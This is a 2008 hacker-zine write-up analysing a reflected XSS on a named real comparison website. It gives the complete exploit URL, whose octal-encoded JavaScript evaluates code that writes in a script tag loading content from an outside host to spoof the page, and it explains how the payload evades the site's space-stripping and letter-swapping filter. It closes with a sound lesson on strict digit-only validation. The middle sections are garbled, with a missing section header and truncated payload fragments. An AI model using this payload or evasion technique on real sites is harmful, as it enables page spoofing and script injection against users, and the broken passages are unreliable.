____________________________________________________________________________ ____________________________________________________________________________ 01010111 01001001 01010010 01000101 01000100 01010011 -> 01000101 01000011 01010101 01010010 01001001 01010100 -> 01011001 ____________________________________________________________________________ Carnival, or how to camouflage data for XSS filters ____________________________________________________________________________ ______________________________________________________ || 0x00: ABOUT ME || 0x01: CARNIVAL [04. FEB. 08] || 0x02: FURTHER CHECKS CONFIRMED THE HINTS || 0x03: NOW, HOW DID THE INJECTION WORK FOR ALL THAT? || 0x04: LESSONS LEARNED || 0x05: FINALLY ____________________________________________________________ ____________________________________________________________ _________________ || 0x00: ABOUT ME Author: Veda Date: February 2008 Website: http://wired-security.net/ _______________________________ || 0x01: CARNIVAL [04. FEB. 08] In carnival everyone is disguised, and fools are everywhere. Nevertheless I checked sla.ckers.org and stumpled over following XSS, which fits perfect to disguising (technically: obfuscation:) Read on! http://verivox.de/Power/Calculator.asp?31=on&No=40&51=on&52=on&54=on&lookup=true&leistungsmessung=no&radio1=1& plz=01234&11=31337%22onfocus=%22top['\145\166\141\154']('\144\157\143\165\155\145\156\164\56\167\162\151\164\145 \154\156\50\47\74\142\157\144\171\76\74\163\143\162\151\160\164\40\163\162\143\75\42\57\57\150\141\56\143\153\145 \162\163\56\157\162\147\57\163\42\76\74\57\163\143\162\151\160\164\76\74\57\142\157\144\171\76\47\51\73'); &customer=priv&submit1=vergleichen What made me interested were the 2 posted hints about the problem to make it working. The website seems to sanatize the given input: 1. removes all spaces 2. replaces all letter e by letter m When looking at the vulnerable page, it showed a form which was indead vulnerable to simple XSS like: 1">XSS ___________________________________________ || 0x02: FURTHER CHECKS CONFIRMED THE HINTS 1. Remove all spaces This rule makes injections impossible which require a space, i.e. 1">'); which is a simple page with a script tag loading it's content from somewhere else. That's also what we see as result of the complete request: content of another page -> website spoofing. The complete (simplified) payload for this example is: "onerror="document.writeln(''); Bingo! This actually rewrites the content of the page with a simple script tag, leaving the addressbar untouched -> spoofed. That make the whole thing working by circumventing the sanitation filter with nothing else than JavaScript itself. ________________________ || 0x04: LESSONS LEARNED Conclusion (as the author already mentioned): don't try to sanatize fraudulent data. Looking at the form, it seems that only digits should be allowed in the vulnerable field. So the question to the devloper would be: why not filter just digits? This is another good example that in a security context the common rule "keep it simple stupid" would be better than sophisticated sanitations. Or with Albert Einstein's words: Things should be made as simple as possible, but no simpler. More checks for the filter could be suggested, why for example does it allow braces and \ where just digits make sense? Stupid. Keep it simple by rejecting anything that is not just digits. Ready you go. ________________ || 0x05: FINALLY I guess that analyzing this XSS was as hard as crafting it. Happy Hacking ____________________________________________________________________________ ____________________________________________________________________________ EOF